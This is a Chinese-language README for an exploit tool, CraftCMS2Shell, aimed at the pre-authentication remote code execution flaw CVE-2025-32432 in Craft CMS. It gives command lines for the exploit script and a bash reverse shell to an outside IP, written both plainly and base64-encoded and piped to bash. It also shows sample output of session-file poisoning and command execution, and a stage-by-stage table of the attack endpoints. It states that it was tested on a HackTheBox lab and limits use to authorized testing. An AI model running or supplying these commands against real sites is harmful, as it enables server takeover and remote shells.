
利用 CVE-2025-32432 的漏洞利用程序与 PoC,CraftCMS2Shell
Craft CMS 中的严重预认证远程代码执行漏洞
受影响版本:Craft CMS 3.x、4.x 及 5.x(最高至 5.6.16)
信息: 此漏洞利用已在 HackTheBox Orion 机器上测试通过
本仓库包含针对 CVE-2025-32432 的概念验证漏洞利用代码,该漏洞是 Craft CMS 中的一个严重预认证远程代码执行漏洞。攻击者无需认证即可利用 Yii2 的行为附件机制以及通过 __class 覆盖技术进行 PHP 对象实例化,在服务器上执行任意 PHP 代码。
pip install requests urllib3
python3 exploit.py -u http://target.com -c "id"
# 在机器上启动监听器
penelope -p 4444
# base64 编码 payload
echo 'exec bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' | base64
# 运行漏洞利用
python3 exploit.py -u http://orion.htb -c "echo 'ZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMxLzQ0NDQgMD4mMQo=' | base64 -d | bash"
python3 exploit.py -u http://target.com -c "whoami" -a 11
python3 exploit.py -u http://target.com -c "id" \
-s "/tmp/sess_{}"
usage: exploit.py [-h] -u URL -c COMMAND [-a ASSET_ID] [-m MAX_ASSET]
[-s SESSION_PATH] [-q]
CVE-2025-32432 Craft CMS 预认证远程代码执行漏洞利用 v2
选项:
-h, --help 显示此帮助信息并退出
-u, --url URL 目标 URL(例如 http://target.com)
-c, --command COMMAND
要执行的命令
-a, --asset-id ASSET_ID
已知有效资源 ID(跳过暴力破解)
-m, --max-asset MAX_ASSET
暴力破解的最大资源 ID(默认:300)
-s, --session-path SESSION_PATH
会话文件路径模板(默认:/var/lib/php/sessions/sess_{})
-q, --quiet 抑制详细输出
$ python3 exploit.py -u http://orion.htb -c "id"
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-32432 Craft CMS Pre-Auth RCE PoC v2 ║
║ Target: http://orion.htb ║
║ Command: id ║
╚══════════════════════════════════════════════════════════════╝
[+] Stage 1: Getting session cookie and CSRF token...
[✓] Session ID: q6458g6g8njeimu59n9l65cu1e
[✓] CSRF Token: ofuxX9FLAA7gSDxLqxYtJGLZVHpPCm...
[+] Stage 2: Poisoning session file with PHP code...
[+] Poison request returned: 200
[✓] Session file poisoned
[+] Stage 3: Brute-forcing asset ID (1-300)...
[✓] Valid asset ID found: 1 (HTTP 200)
[+] Stage 4: Triggering RCE via PhpManager gadget chain...
[+] Target session file: /var/lib/php/sessions/sess_q6458g6g8njeimu59n9l65cu1e
[+] Trigger request returned: 200
[✓] COMMAND OUTPUT:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
| 分支 | 受影响版本 | 修复版本 |
|---|---|---|
| 3.x | 3.0.0-RC1 – 3.9.14 | 3.9.15+ |
| 4.x | 4.0.0-RC1 – 4.14.14 | 4.14.15+ |
| 5.x | 5.0.0-RC1 – 5.6.16 | 5.6.17+ |
/admin/actions/assets/generate-transform 的多个 POST 请求a= 参数as 字段此工具仅用于授权的安全测试与研究目的。未经授权访问计算机系统属于违法行为。请务必在测试前获取适当授权。
MIT 许可证 - 详情请参阅 LICENSE 文件。
| 阶段 | 操作 | 端点 | 需认证 |
|---|
| 1 | 提取会话 Cookie 及 CSRF 令牌 | GET /admin/login | 否 |
| 2 | 向会话文件注入 PHP 载荷 | GET /index.php?p=admin/dashboard&a=<PHP> | 否 |
| 3 | 暴力破解有效资源 ID | POST /index.php?p=admin/actions/assets/generate-transform | 否 |
| 4 | 通过 PhpManager 组件触发远程代码执行 | POST /index.php?p=admin/actions/assets/generate-transform&cmd=<CMD> | 否 |